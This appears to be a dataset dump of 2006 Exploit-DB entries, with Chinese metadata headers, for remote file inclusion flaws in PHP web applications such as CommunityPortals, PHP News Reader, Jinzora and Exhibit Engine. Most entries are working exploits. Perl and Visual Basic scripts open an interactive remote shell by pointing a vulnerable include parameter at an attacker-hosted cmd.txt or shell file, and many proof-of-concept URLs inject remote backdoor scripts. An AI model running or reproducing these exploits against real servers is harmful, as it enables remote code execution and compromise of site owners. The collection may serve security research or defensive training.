QLWD/code_shield huggingface dataset:
标题: CommunityPortals 1.0 - 'import-archive.php' File Inclusion EDB-ID: 2516 CVE: 2006-5739 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-11 漏洞利用脚本: #!/usr/bin/perl
 
#################################################################
#                                                               #
#            CommunityPortals Build 12-31-18                    #
#                                                               #
# Class:     Remote File Include Vulnerability                  #
#                                                               #
# Patch:     unavailable                                        #
#                                                               #
# Date:      2006/10/11                                         #
#                                                               #
# Remote:    Yes                                                #
#                                                               #
# Type:      high                                               #
#                                                               #
# Site:      http://www.leicestershirecommunity.com             #
#                                                               #
#################################################################


use IO::Socket;
use LWP::Simple;

$cmdshell="http://attacker.com/cmd.txt";   # <====== Change This Line With Your Personal Script

print "\n";
print "#################################################################\n";
print "#                                                               #\n";
print "# CommunityPortals <= 1.0   Remote File Include Vulnerability   #\n";
print "# Bug found By : Ashiyane Corporation                           #\n";
print "# Email: Nima Salehi    nima[at]ashiyane.ir                     #\n";
print "# Web Site : www.Ashiyane.ir                                    #\n";
print "#                                                               #\n";
print "#################################################################\n";


if (@ARGV < 2)
{
    print "\n Usage: Ashiyane.pl [host] [path] ";
    print "\n EX : Ashiyane.pl www.victim.com /CommunityPortals/  \n\n";
exit;
}


$host=$ARGV[0];
$path=$ARGV[1];

print "Type Your Commands ( uname -a )\n";
print "For Exiit Type END\n";

print "<Shell> ";$cmd = <STDIN>;

while($cmd !~ "END") {
    $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") or die "Could not connect to host.\n\n";

    print $socket "GET ".$path."includes/import-archive.php?cp_root_path=".$cmdshell."?cmd=".$cmd."? HTTP/1.1\r\n";
    print $socket "Host: ".$host."\r\n";
    print $socket "Accept: */*\r\n";
    print $socket "Connection: close\r\n\n";

    while ($raspuns = <$socket>)
    {
        print $raspuns;
    }

    print "<Shell> ";
    $cmd = <STDIN>;
}

# milw0rm.com [2006-10-11] URL: https://www.exploit-db.com/exploits/2516
标题: SH-News 3.1 - 'scriptpath' Remote File Inclusion EDB-ID: 2518 CVE: 2006-5282 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-11 漏洞利用脚本: #==================================================================
#  SH-News (RFI)
#==================================================================
# Info:-
#
# Scripts:  SH-News
# Download: http://www.hotscripts.com/jump.php?listing_id=19561&jump_type=1
# Version : 3.1
# Dork & vuln : download scripts and think :)
# Note : The vuln not tested on other version :)
#
#==================================================================
#Exploit :
#
#http://localhost/path/report.php?scriptpath=http://EvElCoDe.txt?
#http://localhost/path/archive.php?scriptpath=http://EvElCoDe.txt?
#http://localhost/path/comments.php?scriptpath=http://EvElCoDe.txt?
#http://localhost/path/init.php?scriptpath=http://EvElCoDe.txt?
#http://localhost/path/news.php?scriptpath=http://EvElCoDe.txt?
#
#==================================================================
#Discoverd By : v1per-haCker
#
#Conatact : v1per-hacker[at]hotmail.com
#XP10_hackEr Team
#Greetz to : abu_shahad ; RooT-shilL ; hitler_jeddah ; BooB11 ; FaTaL ;
#               ThE-WoLf-KsA ; mohandko ; fooooz ; maVen ; fucker_net ;
#     metoovet
#and all members in XP10_hackEr Team
#thanx to str0ke :)
#WWW.XP10.COM
===================================================================

# milw0rm.com [2006-10-11] URL: https://www.exploit-db.com/exploits/2518
标题: PHP News Reader 2.6.4 - 'phpBB.inc.php' Remote File Inclusion EDB-ID: 2517 CVE: 2006-5284 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-11 漏洞利用脚本: #!/usr/bin/perl
 
#################################################################
#                                                               #
#            PHP News Reader                                    #
#                                                               #
# Class:     Remote File Include Vulnerability                  #
#                                                               #
# Patch:     unavailable                                        #
#                                                               #
# Date:      2006/10/12                                         #
#                                                               #
# Remote:    Yes                                                #
#                                                               #
# Type:      high                                               #
#                                                               #
# Site:      http://pnews.sourceforge.net/                      #
#                                                               #
#################################################################


use IO::Socket;
use LWP::Simple;

$cmdshell="http://attacker.com/cmd.txt";   # <====== Change This Line With Your Personal Script

print "\n";
print "#################################################################\n";
print "#                                                               #\n";
print "# PHP News Reader <= 2.6.2   Remote File Include Vulnerability  #\n";
print "# Bug found By : Ashiyane Corporation                           #\n";
print "# Email: Nima Salehi    nima[at]ashiyane.ir                     #\n";
print "# Web Site : www.Ashiyane.ir                                    #\n";
print "#                                                               #\n";
print "#################################################################\n";


if (@ARGV < 2)
{
    print "\n Usage: Ashiyane.pl [host] [path] ";
    print "\n EX : Ashiyane.pl www.victim.com /pnews/  \n\n";
exit;
}


$host=$ARGV[0];
$path=$ARGV[1];

print "Type Your Commands ( uname -a )\n";
print "For Exiit Type END\n";

print "<Shell> ";$cmd = <STDIN>;

while($cmd !~ "END") {
    $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") or die "Could not connect to host.\n\n";

    print $socket "GET ".$path."auth/phpbb.inc.php?CFG[auth_phpbb_path]=".$cmdshell."?cmd=".$cmd."? HTTP/1.1\r\n";
    print $socket "Host: ".$host."\r\n";
    print $socket "Accept: */*\r\n";
    print $socket "Connection: close\r\n\n";

    while ($raspuns = <$socket>)
    {
        print $raspuns;
    }

    print "<Shell> ";
    $cmd = <STDIN>;
}

# milw0rm.com [2006-10-11] URL: https://www.exploit-db.com/exploits/2517
标题: Minichat 6.0 - 'ftag.php' Remote File Inclusion EDB-ID: 2519 CVE: 2006-5283 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-11 漏洞利用脚本: ###############################################################################################################

     Minichat v6 Remote File Include
###############################################################################################################

Affected Software .: Minichat v6
Class................... : Remote File Inclusion
Found by.............: Zickox
Contact. ...............: los_misfits[at]hotmail.com

###############################################################################################################
Download Software:

http://www.linkini.net/phpscripts/descargas/Tagboards%20(12%20Archivos)/Minichat%20v6.0%20-%20Con%20instalador.zip

###############################################################################################################
Affected File:

ftag.php

###############################################################################################################

Code vulnerable:

<? include($_GET['mostrar']); ?>


###############################################################################################################


Exploit:

http://www.victim.com/path/ftag.php?mostrar=shell.txt?

###############################################################################################################

Special GreetingS: NETTOXIC | Txis | The Shredder | erboot | trty | jasus | Cvir.System | ZeroHack Team

# milw0rm.com [2006-10-11] URL: https://www.exploit-db.com/exploits/2519
标题: Download-Engine 1.4.2 - 'spaw' Remote File Inclusion EDB-ID: 2521 CVE: 2006-5291 2006-4656 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-12 漏洞利用脚本: #======================================================================================#
#  Download-Engine Remote File Include                                         #
#======================================================================================#
# Info:-          #
#           #
# Scripts: Download-Engine        #
# Download: http://www.alexscriptengine.de/v2/dl_engine/redirect.php?dlid=50&ENGINEsessID=4754ee8243de5f333ec74272f249b649 
# Version : 1.4.2         #
# Dork & vuln : download scripts and think :)      #
# Note : only this version effcted :)       #
#======================================================================================#
#Exploit :          #
#           #
#http://localhost/path/admin/includes/spaw/spaw_control.class.php?spaw_root=http://EvElCoDe.txt?    
#           #
#======================================================================================#
#Discoverd By : v1per-haCker        #
#           #
#Conatact : v1per-hacker[at]hotmail.com       #
#           #
#XP10_hackEr Team         #
#           #
#Greetz to :           #
#abu_shahad | RooT-shilL | hitler_jeddah | BooB11 | FaTaL |  ThE-WoLf-KsA | mohandko | fooooz | maVen | fucker_net | metoovet
#                          #
#                #
#And All Members In XP10_hackEr Team       # 
#Thanx to str0ke :)         #
#      [WWW.XP10.COM]    #
#======================================================================================#

# milw0rm.com [2006-10-12] URL: https://www.exploit-db.com/exploits/2521
标题: Softerra PHP Developer Library 1.5.3 - Remote File Inclusion EDB-ID: 2520 CVE: 2006-5472 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-12 漏洞利用脚本: ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ##
#                                                               #
#           [ Softerra. PHP Developer Library ]                 #
#                                                                
# Class:     Remote File Include Vulnerability                  #
# Patch:     Unavailable                                        #
# Published  2006/10/12                                         #
# Remote:    Yes                                                
# Local:     No                               #
# Type:      High                                               #
# Site:      http://www.softerra.com/products_php-library.htm   #
# Author:    MP
# Contact:   mp01010@yahoo.com                      #
#                                    #
#################################################################

Exploit:

http://softerraphpdeveloper.com/PHPLibrary-1.5.3/lib/registry.lib.php?lib_dir=http://attacker.com/shell?
http://softerraphpdeveloper.com/PHPLibrary-1.5.3/lib/sqlcompose.lib.php?lib_dir=http://attacker.com/shell?
http://softerraphpdeveloper.com/PHPLibrary-1.5.3/lib/sqlsearch.lib.php?lib_dir=http://attacker.com/shell?


Vuln Files:

registry.lib.php
sqlcompose.lib.php
sqlsearch.lib.php


Vuln Code:
#
../lib/registry.lib.php

<? ...
require_once ($lib_dir . "sqlstorage.class.php");
... ?>
##
../lib/sqlcompose.lib.php

<? ...
require_once ($lib_dir . "array.lib.php");
... ?>

##
../lib/sqlsearch.lib.php

<? ...
require_once ($lib_dir . "array.lib.php");
... ?>

# milw0rm.com [2006-10-12] URL: https://www.exploit-db.com/exploits/2520
标题: PHPLibrary 1.5.3 - 'grid3.lib.php' Remote File Inclusion EDB-ID: 2511 CVE: 2006-5471 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-10 漏洞利用脚本: ##################################################################################
# PHPLibrary <= 1.5.3 Remote File Inclusion
# Download Source : http://download.softerra.com/files/PHPLibrary-1.5.3.zip
#
# Found By        : k1tk4t - k1tk4t[4t]newhack.org
# Location        : Indonesia   -- #newhack[dot]org
########################################################################
file ;
grid3.lib.php
########################################################################
bugs ;
require_once ($cfg_dir . "database.cfg.php");
require_once ($cfg_dir . "error.codes.php");
require_once ($lib_dir . "sqlstorage.class.php");
require_once ($lib_dir . "registry.lib.php");
########################################################################
exmple and methode exploit ;
http://localhost/PHPLibrary-1.5.3/example/lib/grid3.lib.php?cfg_dir=http://RemoteShell/shell.txt?&
########################################################################
Thanks;
str0ke
milw0rm
google
#e-c-h-o (all member echo community)
#nyubi (all member solpotcrew community)
person;
y3dips, lirva32, the_day,(&all echo staff)
evilcode,illibero,NoGe(asiahacker),
nyubi,x-ace,ghoz, home_edition2001,matdhule, iFX, and for all
(friend's&enemy)

# milw0rm.com [2006-10-10] URL: https://www.exploit-db.com/exploits/2511
标题: Jinzora 2.1 - 'media.php' Remote File Inclusion EDB-ID: 2512 CVE: 2006-7130 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-10 漏洞利用脚本: ##################################################################################
# Jinzora <= 2.1 Remote File Inclusion
# Download Source : http://www.jinzora.com/downloads/j2.1.tar.gz
#
# Found By        : k1tk4t - k1tk4t[4t]newhack.org
# Location        : Indonesia   -- #newhack[dot]org
########################################################################
file ;
media.php
########################################################################
bugs ;
// include classes for extending.
       require_once($include_path. 'backend/classes.php');
########################################################################
exmple and methode exploit ;
http://localhost/jinzora2/backend/primitives/cache/media.php?include_path=http://shell/cmd.do?
########################################################################
Thanks;
str0ke
milw0rm
google
#e-c-h-o (all member echo community)
#nyubicrew (all member solpotcrew community)
person;
y3dips, lirva32, the_day,(&all echo staff)
illibero,NoGe(all member asiahacker), nyubi,x-ace,ghoz,home_edition2001,matdhule,iFX,and for all(friend's&enemy)

# milw0rm.com [2006-10-10] URL: https://www.exploit-db.com/exploits/2512
标题: Foafgen 0.3 - 'redir.php' Local Source Disclosure EDB-ID: 2506 CVE: 2006-5319 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-10 漏洞利用脚本: #
# Title..: 7 php scripts File Inclusion Vuln / Source disclosure
# Credits: DarkFig
# Og.link: http://acid-root.new.fr/poc/13061007.txt
#
# Using http://www.google.com/codesearch
# Few examples about what we can do with a code search engine
# For educational purpose only.
#
# You can use regex in your research, this can be chaotic.
# What's your opinion about the google code search project ?
#

# Affected.scr: Foafgen v0.3
# Download....: http://www.toxi.co.uk/foafgen/foafgen_v0.3.0.zip
# Poc.........: http://victim.com/redir.php?foaf=file.php
# Vuln.code...: Line 4, readfile($_GET['foaf']);

# milw0rm.com [2006-10-10] URL: https://www.exploit-db.com/exploits/2506
标题: eboli - 'index.php' Remote File Inclusion EDB-ID: 2504 CVE: 2006-5317 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-10 漏洞利用脚本: #
# Title..: 7 php scripts File Inclusion Vuln / Source disclosure
# Credits: DarkFig
# Og.link: http://acid-root.new.fr/poc/13061007.txt
#
# Using http://www.google.com/codesearch
# Few examples about what we can do with a code search engine
# For educational purpose only.
#
# You can use regex in your research, this can be chaotic.
# What's your opinion about the google code search project ?
#

# Affected.scr: eboli
# Download....: http://www.jhjgubbels.nl/eboli/eboli.tar.gz
# Poc.........: http://x.com/index.php?contentSpecial=http://hack.c/back.txt?&content
# Vuln.code...: Line 45, if(isset($_GET['contentSpecial']) && isset($_GET['content'])){
#                        include($_GET['contentSpecial']);

# milw0rm.com [2006-10-10] URL: https://www.exploit-db.com/exploits/2504
标题: compteur 2.0 - 'param_editor.php' Remote File Inclusion EDB-ID: 2503 CVE: 2006-5259 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-10 漏洞利用脚本: #
# Title..: 7 php scripts File Inclusion Vuln / Source disclosure
# Credits: DarkFig
# Og.link: http://acid-root.new.fr/poc/13061007.txt
#
# Using http://www.google.com/codesearch
# Few examples about what we can do with a code search engine
# For educational purpose only.
#
# You can use regex in your research, this can be chaotic.
# What's your opinion about the google code search project ?
#

# Affected.scr: compteur_v2
# Download....: http://zebigbrozer.free.fr/compt_new/compteur_v2.zip
# Poc.........: http://victim.xx/param_editor.php?folder=http://hack.c/backd.txt?
# Vuln.code...: Line 9 , include($_GET["folder"]."param.php")

# milw0rm.com [2006-10-10] URL: https://www.exploit-db.com/exploits/2503
标题: n@board 3.1.9e - 'naboard_pnr.php' Remote File Inclusion EDB-ID: 2514 CVE: 2006-5281 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-11 漏洞利用脚本: #        n@board v3.1.9e, 3.1.8cgb ,3.1.8tc            #
#       skin Remote File Include Vulnerability         #
#                       Turkish Hacker's               #
#       Discovered By : mdx and The_Bat_Hacker         #
#                                                      #
#------------------------------------------------------
#               Cyber-Warrior TIM                      #
#         Ay ve  Y.ld.zlar Geceye Yak...r...           #
#        the moon and the stars suit the night         #
########################################################
#
# Class : REmote
########################################################
#             File Code Detailed
#File :naboard_pnr.php?
#
#Code :
#
#include"$skin/pnr_top.php";
########################################################
#
#
# Exploit : http://www.target.***/[path]/naboard_pnr.php?skin=http://shell.txt?
#
#
########################################################
#                         _ThankX_
#
#
#
#Cyber-warrior User ,PROHACK, Siber-korsanlar [redx, dipsomania, k.z.l_alev]
#Shika, xoron , real_dark_boy, All Friends
########################################################

# milw0rm.com [2006-10-11] URL: https://www.exploit-db.com/exploits/2514
标题: JASmine 0.0.2 - 'index.php' Remote File Inclusion EDB-ID: 2505 CVE: 2006-5318 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-10 漏洞利用脚本: #
# Title..: 7 php scripts File Inclusion Vuln / Source disclosure
# Credits: DarkFig
# Og.link: http://acid-root.new.fr/poc/13061007.txt
#
# Using http://www.google.com/codesearch
# Few examples about what we can do with a code search engine
# For educational purpose only.
#
# You can use regex in your research, this can be chaotic.
# What's your opinion about the google code search project ?
#

# Affected.scr: Jasmine-Web
# Download....: http://www.sourcefiles.org/Utilities/Printer/Jasmine-Web-0.0.2.tar.bz2
# Poc.........: http://victim.pl/index.php?section=ftp://hack.com/backdrphpext
# Vuln.code...: if (isset($_GET['section']) && file_exists($_GET['section'].".php")){
#               include_once($_GET['section'].".php");

# milw0rm.com [2006-10-10] URL: https://www.exploit-db.com/exploits/2505
标题: TribunaLibre 3.12 Beta - 'ftag.php' Remote File Inclusion EDB-ID: 2501 CVE: 2006-5314 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-10 漏洞利用脚本: #
# Title..: 7 php scripts File Inclusion Vuln / Source disclosure
# Credits: DarkFig
# Og.link: http://acid-root.new.fr/poc/13061007.txt
#
# Using http://www.google.com/codesearch
# Few examples about what we can do with a code search engine
# For educational purpose only.
#
# You can use regex in your research, this can be chaotic.
# What's your opinion about the google code search project ?
#

# Affected.scr: TribunaLibre v3.12 Beta
# Download....: http://www.phplibre.com.es/downloads/TribunaLibre_v3.12_Beta.zip
# Poc.........: http://victim.com/ftag.php?mostrar=http://backdoor.txt?
# Vuln.code...: Line 106, <? include($_GET['mostrar']); ?>

# milw0rm.com [2006-10-10] URL: https://www.exploit-db.com/exploits/2501
标题: Exhibit Engine 1.5 RC 4 - 'photo_comment.php' File Inclusion EDB-ID: 2509 CVE: 2006-5292 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-10 漏洞利用脚本: '
' EXPLOIT (c)oded by Kacper in Visual Basic ;-)
'
':::::::::  :::::::::: :::     ::: ::::::::::: :::
':+:    :+: :+:        :+:     :+:     :+:     :+:
'+:+    +:+ +:+        +:+     +:+     +:+     +:+
'+#+    +:+ +#++:++#   +#+     +:+     +#+     +#+
'+#+    +#+ +#+         +#+   +#+      +#+     +#+
'#+#    #+# #+#          #+#+#+#       #+#     #+#
'#########  ##########     ###     ########### ##########
'::::::::::: ::::::::::     :::     ::::    ::::
'    :+:     :+:          :+: :+:   +:+:+: :+:+:+
'    +:+     +:+         +:+   +:+  +:+ +:+:+ +:+
'    +#+     +#++:++#   +#++:++#++: +#+  +:+  +#+
'    +#+     +#+        +#+     +#+ +#+       +#+
'    #+#     #+#        #+#     #+# #+#       #+#
'    ###     ########## ###     ### ###       ###
'
'
'+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
'+
'-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
'+
'+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
'+
'- Exhibit Engine <= 1.5 RC 4 (photo_comment.php) Remote File Include Exploit
'+
'+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
'+
'- [Script name: Exhibit Engine 1.5 RC 4
'- [Script site: http://www.edrotberg.org/gallery/
'- dork: "generated by Exhibit Engine 1.5 RC 4"
'+
'+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
'+
'-          Find by: Kacper (a.k.a Rahim)
'+
'-    DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam
'+
'-          Contact: kacper1964@yahoo.pl
'-                        or
'-           http://www.rahim.webd.pl/
'+
'+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
'+
'- Special Greetz: DragonHeart ;-)
'- Ema: Leito, Leon, Adam, DeathSpeed, Drzewko, pepi, mivus
'-      SkD, nukedclx, Ramzes, t3k, dn0d'e, sysios, SpiderZ
'-
'- Greetz for all users DEVIL TEAM IRC Channel !!
'!@ Przyjazni nie da sie zamienic na marne korzysci @!
'+
'+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
'+
'-            Z Dedykacja dla osoby,
'-         bez ktorej nie mogl bym zyc...
'-           K.C:* J.M (a.k.a Magaja)
'+
'+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Private Sub Form_Load()

'**********************SETTINGS**************************
' strona = path to script
' evil_script = path to shell
' cma = shell command
'********************************************************

strona = "http://www.strona.pl/"
evil_script = "http://www.strona.pl/shell.txt?"
cmd = "ls -la"

'********************************************************
Call MsgBox("DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam .... or http://www.rahim.webd.pl/", vbCritical, "See You back again :D !!")
vul = "photo_comment.php?toroot="
exploit = strona & vul & evil_script & cmd
PageLocation$ = exploit
ShellX = Shell("explorer.exe " + PageLocation$)
Unload Me
End Sub

'************************eof*****************************
' Pozdr0 dla ludzi dobrej woli :D
'
'DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam

' milw0rm.com [2006-10-10] URL: https://www.exploit-db.com/exploits/2509